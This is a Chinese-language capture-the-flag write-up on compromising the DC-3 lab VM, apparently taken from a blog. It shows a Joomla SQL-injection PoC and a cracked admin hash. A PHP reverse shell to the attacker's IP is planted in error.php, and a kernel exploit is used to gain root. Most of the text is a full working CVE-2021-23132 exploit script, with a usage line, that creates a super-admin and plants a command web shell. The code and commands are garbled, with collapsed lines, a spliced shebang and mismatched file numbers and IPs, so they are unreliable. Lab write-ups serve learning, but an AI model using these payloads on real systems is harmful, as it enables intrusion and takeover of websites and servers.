DC-3
关于环境的搭建 , 大家可以自行百度
网络桥接
渗透机 kali
靶机 dc-3 描述:从靶机DC-3开始,只有一个最终的flag,只有拿到root权限才可以发现最终的flag
踩坑记录 :
0.官网那个下载地址下载的dc-3.2不好使 , ip还是没办法获取 推荐这个连接 , 迅雷下载
https://www.five86.com/downloads/DC-3.zip
1.启动虚拟机的时候需要修改 CD/DVD(IDE) , 如果提示要修改就修改 , 没提示就算了
2.需要修改网络配置 , 要不然开机没有ip地址
- 进入拯救模式
- 查看网卡名称
- 修改配置文件的网卡名称
- 重启网卡
- 重启虚拟机
详情: https://www.cnblogs.com/A1oe/p/12571032.html
0x01. 信息收集
1. 查看当前网段
2. 扫描存活主机 , 确定靶机ip
可以看到靶机的ip是192.168.42.142
3. 扫描ip开放的端口 , 全端口
nmap -p 0-65535 192.168.42.142 --script=banner
可以看到只开放了一个 80 端口 , 应该是web服务 , 访问一下
看到这个界面 , 我就知道了是三大php开源cms中的joomla , 而且提示只有一个flag
0x02. 漏洞的发现和利用
1. 漏洞发现
首先使用kali里面的joomscan扫描一下当前的版本
安装
apt-get instal joomscan
joomscan -u http://192.168.42.142
发现是3.7.0的版本 , 我依稀的记得3.7.0的版本有一个sql注入 , 百度搜一下 , 果然没有记错
poc
/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(0x23,concat(1,user()),1)
既然有注入那就sqlmap跑起来 , 拿到后台管理员的账号和密码 ,当然你也可以手工注入 , 这里不知道为什么kali下的sqlmap爆破字段的时候没有结果 , 只好手工爆破了, 手工爆破你要解决一个问题就是#会把后面的注释掉
实际上对于这种开源的cms , 你可以本地搭建 , 一般只会库名和表名需要你自定义 , 字段的话一般不会更改
joomla的#__usrs表就是username和password
最后得到账号和密码
admin
$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu
然后通过john解密密码
john passwd.txt
john --show passwd.txt 查看解密的密码
登录到后台 , 默认路径是administrator/ , 由于是超级管理员在后台模板处可以修改php文件 , 我们这里
直接修改error.php , 用nc反弹shell , 后面爆出来了一个CVE-2021-23132漏洞就是关于这个的 , 下面有补充
在一个php文件中插入以下代码 , 以error为例
<?php system("bash -c 'bash -i >& /dev/tcp/192.168.42.156/4444 0>&1' ") ;?>
在kali中监听4444端口
nc -lvp 4444
然后访问 http://192.168.42.142/templates/beez3/error.php
查看当前操作系统版本以及内核版本
cat /etc/*-release
uname -a
2. 提权
发现是ubuntu16.04 内核版本是4.4.0-21的 , 直接通过kali里面的漏洞库 , 搜索一下有无exp
searchsploit Ubuntu 16.04
这里我们使用33772.txt这个文件里面的exp提权
查看文件内容cat /usr/share/exploitdb/exploits/linux/local/39772.txt
这里需要kexueshangwang才能下载 , 下载好后 , 通过python开启http服务 , 把压缩包下载到靶机上
python3 -m http.servev 8080 --bind 192.168.42.142wget http://192.168.41.142:8080/39772.zip
接下来就是解压 提权了
unzip 39772.ziptar -xvf exploit.tarlscd ebpf_mapfd_doubleput_explitls./compile.sh./doubleputwhoami
3. 补充 CVE-2021-23132
#!/usr/bCVE-2021-23132in/python3import sysimport requestsimport reimport argparse#proxies = {"http": "http://127.0.0.1:8080","https": "http://127.0.0.1:8080"}proxies={}try: import lxml.htmlexcept ImportError: print("module 'lxml' doesn't exist, type: pip3 install lxml") exit(0)def writeConfigFile(filename): print("[+] Creating config.xml ") content="""<?xml version="1.0" encoding="utf-8"?><config> <fieldset name="user_options" label="COM_USERS_CONFIG_USER_OPTIONS" > <field name="allowUserRegistration" type="radio" label="COM_USERS_CONFIG_FIELD_ALLOWREGISTRATION_LABEL" description="COM_USERS_CONFIG_FIELD_ALLOWREGISTRATION_DESC" class="btn-group btn-group-yesno" default="1" > <option value="1">JYES</option> <option value="0">JNO</option> </field> <field name="new_usertype" type="usergrouplist" label="COM_USERS_CONFIG_FIELD_NEW_USER_TYPE_LABEL" description="COM_USERS_CONFIG_FIELD_NEW_USER_TYPE_DESC" default="2" checksuperusergroup="0" /> <field name="guest_usergroup" type="usergrouplist" label="COM_USERS_CONFIG_FIELD_GUEST_USER_GROUP_LABEL" description="COM_USERS_CONFIG_FIELD_GUEST_USER_GROUP_DESC" default="1" checksuperusergroup="0" /> <field name="sendpassword" type="radio" label="COM_USERS_CONFIG_FIELD_SENDPASSWORD_LABEL" description="COM_USERS_CONFIG_FIELD_SENDPASSWORD_DESC" class="btn-group btn-group-yesno" default="1" > <option value="1">JYES</option> <option value="0">JNO</option> </field> <field name="useractivation" type="list" label="COM_USERS_CONFIG_FIELD_USERACTIVATION_LABEL" description="COM_USERS_CONFIG_FIELD_USERACTIVATION_DESC" default="0" > <option value="0">JNONE</option> <option value="1">COM_USERS_CONFIG_FIELD_USERACTIVATION_OPTION_SELFACTIVATION</option> <option value="2">COM_USERS_CONFIG_FIELD_USERACTIVATION_OPTION_ADMINACTIVATION</option> </field> <field name="mail_to_admin" type="radio" label="COM_USERS_CONFIG_FIELD_MAILTOADMIN_LABEL" description="COM_USERS_CONFIG_FIELD_MAILTOADMIN_DESC" class="btn-group btn-group-yesno" default="0" > <option value="1">JYES</option> <option value="0">JNO</option> </field> <field name="captcha" type="plugins" label="COM_USERS_CONFIG_FIELD_CAPTCHA_LABEL" description="COM_USERS_CONFIG_FIELD_CAPTCHA_DESC" folder="captcha" filter="cmd" useglobal="true" > <option value="0">JOPTION_DO_NOT_USE</option> </field> <field name="frontend_userparams" type="radio" label="COM_USERS_CONFIG_FIELD_FRONTEND_USERPARAMS_LABEL" description="COM_USERS_CONFIG_FIELD_FRONTEND_USERPARAMS_DESC" class="btn-group btn-group-yesno" default="1" > <option value="1">JSHOW</option> <option value="0">JHIDE</option> </field> <field name="site_language" type="radio" label="COM_USERS_CONFIG_FIELD_FRONTEND_LANG_LABEL" description="COM_USERS_CONFIG_FIELD_FRONTEND_LANG_DESC" class="btn-group btn-group-yesno" default="0" showon="frontend_userparams:1" > <option value="1">JSHOW</option> <option value="0">JHIDE</option> </field> <field name="change_login_name" type="radio" label="COM_USERS_CONFIG_FIELD_CHANGEUSERNAME_LABEL" description="COM_USERS_CONFIG_FIELD_CHANGEUSERNAME_DESC" class="btn-group btn-group-yesno" default="0" > <option value="1">JYES</option> <option value="0">JNO</option> </field> </fieldset> <fieldset name="domain_options" label="COM_USERS_CONFIG_DOMAIN_OPTIONS" > <field name="domains" type="subform" label="COM_USERS_CONFIG_FIELD_DOMAINS_LABEL" description="COM_USERS_CONFIG_FIELD_DOMAINS_DESC" multiple="true" layout="joomla.form.field.subform.repeatable-table" formsource="administrator/components/com_users/models/forms/config_domain.xml" /> </fieldset> <fieldset name="password_options" label="COM_USERS_CONFIG_PASSWORD_OPTIONS" > <field name="reset_count" type="integer" label="COM_USERS_CONFIG_FIELD_FRONTEND_RESET_COUNT_LABEL" description="COM_USERS_CONFIG_FIELD_FRONTEND_RESET_COUNT_DESC" first="0" last="20" step="1" default="10" /> <field name="reset_time" type="integer" label="COM_USERS_CONFIG_FIELD_FRONTEND_RESET_TIME_LABEL" description="COM_USERS_CONFIG_FIELD_FRONTEND_RESET_TIME_DESC" first="1" last="24" step="1" default="1" /> <field name="minimum_length" type="integer" label="COM_USERS_CONFIG_FIELD_MINIMUM_PASSWORD_LENGTH" description="COM_USERS_CONFIG_FIELD_MINIMUM_PASSWORD_LENGTH_DESC" first="4" last="99" step="1" default="4" /> <field name="minimum_integers" type="integer" label="COM_USERS_CONFIG_FIELD_MINIMUM_INTEGERS" description="COM_USERS_CONFIG_FIELD_MINIMUM_INTEGERS_DESC" first="0" last="98" step="1" default="0" /> <field name="minimum_symbols" type="integer" label="COM_USERS_CONFIG_FIELD_MINIMUM_SYMBOLS" description="COM_USERS_CONFIG_FIELD_MINIMUM_SYMBOLS_DESC" first="0" last="98" step="1" default="0" /> <field name="minimum_uppercase" type="integer" label="COM_USERS_CONFIG_FIELD_MINIMUM_UPPERCASE" description="COM_USERS_CONFIG_FIELD_MINIMUM_UPPERCASE_DESC" first="0" last="98" step="1" default="0" /> <field name="minimum_lowercase" type="integer" label="COM_USERS_CONFIG_FIELD_MINIMUM_LOWERCASE" description="COM_USERS_CONFIG_FIELD_MINIMUM_LOWERCASE_DESC" first="0" last="98" step="1" default="0" /> </fieldset> <fieldset name="user_notes_history" label="COM_USERS_CONFIG_FIELD_NOTES_HISTORY" > <field name="save_history" type="radio" label="JGLOBAL_SAVE_HISTORY_OPTIONS_LABEL" description="JGLOBAL_SAVE_HISTORY_OPTIONS_DESC" class="btn-group btn-group-yesno" default="0" > <option value="1">JYES</option> <option value="0">JNO</option> </field> <field name="history_limit" type="number" label="JGLOBAL_HISTORY_LIMIT_OPTIONS_LABEL" description="JGLOBAL_HISTORY_LIMIT_OPTIONS_DESC" filter="integer" default="5" showon="save_history:1" /> </fieldset> <fieldset name="massmail" label="COM_USERS_MASS_MAIL" description="COM_USERS_MASS_MAIL_DESC"> <field name="mailSubjectPrefix" type="text" label="COM_USERS_CONFIG_FIELD_SUBJECT_PREFIX_LABEL" description="COM_USERS_CONFIG_FIELD_SUBJECT_PREFIX_DESC" /> <field name="mailBodySuffix" type="textarea" label="COM_USERS_CONFIG_FIELD_MAILBODY_SUFFIX_LABEL" description="COM_USERS_CONFIG_FIELD_MAILBODY_SUFFIX_DESC" rows="5" cols="30" /> </fieldset> <fieldset name="debug" label="COM_USERS_DEBUG_LABEL" description="COM_USERS_DEBUG_DESC"> <field name="debugUsers" type="radio" label="COM_USERS_DEBUG_USERS_LABEL" description="COM_USERS_DEBUG_USERS_DESC" class="btn-group btn-group-yesno" default="1" > <option value="1">JYES</option> <option value="0">JNO</option> </field> <field name="debugGroups" type="radio" label="COM_USERS_DEBUG_GROUPS_LABEL" description="COM_USERS_DEBUG_GROUPS_DESC" class="btn-group btn-group-yesno" default="1" > <option value="1">JYES</option> <option value="0">JNO</option> </field> </fieldset> <fieldset name="integration" label="JGLOBAL_INTEGRATION_LABEL" description="COM_USERS_CONFIG_INTEGRATION_SETTINGS_DESC" > <field name="integration_sef" type="note" label="JGLOBAL_SEF_TITLE" /> <field name="sef_advanced" type="radio" class="btn-group btn-group-yesno btn-group-reversed" default="0" label="JGLOBAL_SEF_ADVANCED_LABEL" description="JGLOBAL_SEF_ADVANCED_DESC" filter="integer" > <option value="0">JGLOBAL_SEF_ADVANCED_LEGACY</option> <option value="1">JGLOBAL_SEF_ADVANCED_MODERN</option> </field> <field name="integration_customfields" type="note" label="JGLOBAL_FIELDS_TITLE" /> <field name="custom_fields_enable" type="radio" label="JGLOBAL_CUSTOM_FIELDS_ENABLE_LABEL" description="JGLOBAL_CUSTOM_FIELDS_ENABLE_DESC" class="btn-group btn-group-yesno" default="1" > <option value="1">JYES</option> <option value="0">JNO</option> </field> </fieldset> <fieldset name="permissions" label="JCONFIG_PERMISSIONS_LABEL" description="JCONFIG_PERMISSIONS_DESC" > <field name="rules" type="rules" label="JCONFIG_PERMISSIONS_LABEL" filter="rules" validate="rules" component="com_users" section="component" /> </fieldset></config>""" f = open(filename, "w") f.write(content) f.closedef extract_token(resp): match = re.search(r'name="([a-f0-9]{32})" value="1"', resp.text, re.S) if match is None: print("[-] Cannot find CSRF token!n") return None return match.group(1)def try_admin_login(sess, url, uname, upass): admin_url = url + '/administrator/index.php' print('[+] Getting token for Manager login') resp = sess.get(admin_url, verify=True) token = extract_token(resp) if not token: return False print('[+] Logging in to Admin') data = { 'username': uname, 'passwd': upass, 'task': 'login', token: '1' } resp = sess.post(admin_url, data=data, verify=True) if 'task=profile.edit' not in resp.text: print('[!] Admin Login Failure!') return None print('[+] Admin Login Successfully!') return Truedef check_admin(sess, url): url_check = url + '/administrator/index.php?option=com_config&view=component&component=com_media&path=' resp = sess.get(url_check, verify=True) token = extract_token(resp) if not token: print ("[-] You are not admin account!") sys.exit() return tokendef set_media_options(url, sess, dir, token): print("[+] Setting media options") newdata = { 'jform[upload_extensions]': 'xml,bmp,csv,doc,gif,ico,jpg,jpeg,odg,odp,ods,odt,pdf,png,ppt,swf,txt,xcf,xls,BMP,CSV,DOC,GIF,ICO,JPG,JPEG,ODG,ODP,ODS,ODT,PDF,PNG,PPT,SWF,TXT,XCF,XLS', 'jform[upload_maxsize]': 10, 'jform[file_path]': dir, 'jform[image_path]': dir, 'jform[restrict_uploads]': 0, 'jform[check_mime]': 0, 'jform[image_extensions]': 'bmp,gif,jpg,png', 'jform[ignore_extensions]': '', 'jform[upload_mime]': 'image/jpeg,image/gif,image/png,image/bmp,application/x-shockwave-flash,application/msword,application/excel,application/pdf,application/powerpoint,text/plain,application/x-zip', 'jform[upload_mime_illegal]': 'text/html', 'id': 13, 'component': 'com_media', 'task': 'config.save.component.apply', token: 1 } newdata['task'] = 'config.save.component.apply' config_url = url + '/administrator/index.php?option=com_config' resp = sess.post(config_url, data=newdata, verify=True) if 'jform[upload_extensions]' not in resp.text: print('[!] Maybe failed to set media options...') return False return Truedef traversal(sess, url): shell_url = url + '/administrator/index.php?option=com_media&view=mediaList&tmpl=component&folder=' resp = sess.get(shell_url, verify=True) page = resp.text.encode('utf-8') html = lxml.html.fromstring(page) files = html.xpath("//input[@name='rm[]']/@value") for file in files: print (file) passdef removeFile(sess, url, filename, token): remove_path = url + '/administrator/index.php?option=com_media&task=file.delete&tmpl=index&' + token + '=1&folder=&rm[]=' + filename msg = sess.get(remove_path, verify=True,proxies=proxies) page = msg.text.encode('utf-8') html = lxml.html.fromstring(page) file_remove = html.xpath("//div[@class='alert-message']/text()[1]") print ('n' + '[Result]: ' + file_remove[-1])def upload_file(sess, url, file, token): print("[+] Uploading config.xml") filename = "config.xml" url = url + '/administrator/index.php?option=com_media&task=file.upload&tmpl=component&' + token + '=1&format=html&folder=' files = { 'Filedata[]': (filename, file, 'text/xml') } data = dict(folder="") resp = sess.post(url, files=files, data=data, verify=True,proxies=proxies) if filename not in resp.text: print("[!] Failed to upload file!") return False print("[+] Exploit Successfully!") return Truedef set_users_option(sess, url, token): newdata = { 'jform[allowUserRegistration]': 1, 'jform[new_usertype]': 8, 'jform[guest_usergroup]': 8, 'jform[sendpassword] ': 0, 'jform[useractivation]': 0, 'jform[mail_to_admin]': 0, 'id': 25, 'component': 'com_users', 'task': 'config.save.component.apply', token: 1 } newdata['task'] = 'config.save.component.apply' config_url = url + '/administrator/index.php?option=com_config' resp = sess.post(config_url, data=newdata, verify=True) if 'Configuration saved.' not in resp.text: print('[!] Could not save data. Error: Save not permitted.') return False return Truedef create_superuser(sess, url, username, password, email): resp = sess.get(url + "/index.php?option=com_users&view=registration", verify=True) token = extract_token(resp) data = { # Form data 'jform[name]': username, 'jform[username]': username, 'jform[password1]': password, 'jform[password2]': password, 'jform[email1]': email, 'jform[email2]': email, 'jform[option]': 'com_users', 'jform[task]': 'registration.register', token: '1', } url_post = "/index.php/component/users/?task=registration.register&Itemid=101" sess.post(url + url_post, data=data, verify=True) sess.get(url + "/administrator/index.php?option=com_login&task=logout&" + token + "=1", verify=True) newsess = requests.Session() if try_admin_login(newsess, url, username, password): print ("[+] Now, you are super-admin!!!!!!!!!!!!!!!!" + "n[+] Your super-admin account: n[+] USERNAME: " + username + "n[+] PASSWORD: " + password) return newsess else: print ("[-] Sorry,exploit fail!") return Nonedef setOption(url, sess, usuper, psuper, esuper, token): print ("Superadmin Creation:") # folder contains config.xml dir = './administrator/components/com_users' filename = 'config.xml' set_media_options(url, sess, dir, token) traversal(sess, url) removeFile(sess, url, filename, token) f = open("config.xml", "rb") upload_file(sess, url, f, token) set_users_option(sess, url, token)def rce(sess, url, cmd, token): filename = 'error.php' shlink = url + '/administrator/index.php?option=com_templates&view=template&id=506&file=506&file=L2Vycm9yLnBocA%3D%3D' shdata_up = { 'jform[source]': "<?php echo 'Hacked by HKn' ;system($_GET['cmd']); ?>", 'task': 'template.apply', token: '1', 'jform[extension_id]': '506', 'jform[filename]': '/' + filename } sess.post(shlink, data=shdata_up,proxies=proxies) path2shell = '/templates/protostar/error.php?cmd=' + cmd # print '[+] Shell is ready to use: ' + str(path2shell) print ('[+] Checking:') shreq = sess.get(url + path2shell,proxies=proxies) shresp = shreq.text print (shresp + '[+] Shell link: n' + (url + path2shell)) print ('[+] Module finished.')def main(): # Construct the argument parser ap = argparse.ArgumentParser() # Add the arguments to the parser ap.add_argument("-url", "--url", required=True, help=" URL for your Joomla target") ap.add_argument("-u", "--username", required=True, help="username") ap.add_argument("-p", "--password", required=True, help="password") ap.add_argument("-dir", "--directory", required=False, default='./', help="directory") ap.add_argument("-rm", "--remove", required=False, help="filename") ap.add_argument("-rce", "--rce", required=False, default="0", help="RCE's mode is 1 to turn on") ap.add_argument("-cmd", "--command", default="whoami", help="command") ap.add_argument("-usuper", "--usernamesuper", default="hk", help="Super's username") ap.add_argument("-psuper", "--passwordsuper", default="12345678", help="Super's password") ap.add_argument("-esuper", "--emailsuper", default="hk@hk.com", help="Super's Email") args = vars(ap.parse_args()) # target url = format(str(args['url'])) print ('[+] Your target: ' + url) # username uname = format(str(args['username'])) # password upass = format(str(args['password'])) # directory dir = format(str(args['directory'])) # init sess = requests.Session() # admin login if (try_admin_login(sess, url, uname, upass) == None): sys.exit() # get token token = check_admin(sess, url) # set options set_media_options(url, sess, dir, token) print ("Directory mode:") traversal(sess, url) if ap.parse_args().remove: print ("nRemove file mode: ") filename = format(str(args['remove'])) removeFile(sess, url, filename, token) # check option superadmin creation # username of superadmin usuper = format(str(args['usernamesuper'])) # password of superadmin psuper = format(str(args['passwordsuper'])) # email of superadmin esuper = format(str(args['emailsuper'])) # RCE mode if (format(str(args['rce'])) == "1"): print ("nRCE mode:n") # command filename="config.xml" writeConfigFile(filename) command = format(str(args['command'])) setOption(url, sess, usuper, psuper, esuper, token) # superadmin creation newsess = create_superuser(sess, url, usuper, psuper, esuper) if newsess != None : # get token newtoken = check_admin(newsess, url) rce(newsess, url, command, newtoken)if __name__ == "__main__": sys.exit(main())
使用方法python3 Joomla远程代码执行漏洞-CVE-2021-23132.py -url http://192.168.6.139:8080/Joomla_3.9.22-Stable-Full_Package -u test -p 12345 -rce 1 -cmd ls
0x03. 总结
1. joomscan 的使用 , 扫描版本joomscan -u http://192.168.42.1422.john的爆破密码john passwd.txtjohn --show passwd.txt3.反弹shell<?php system("bash -c 'bash -i >& /dev/tcp/192.168.42.156/4444 0>&1' ") ;?>4. 搜索expsearchsploit ubuntu16.045.内核提权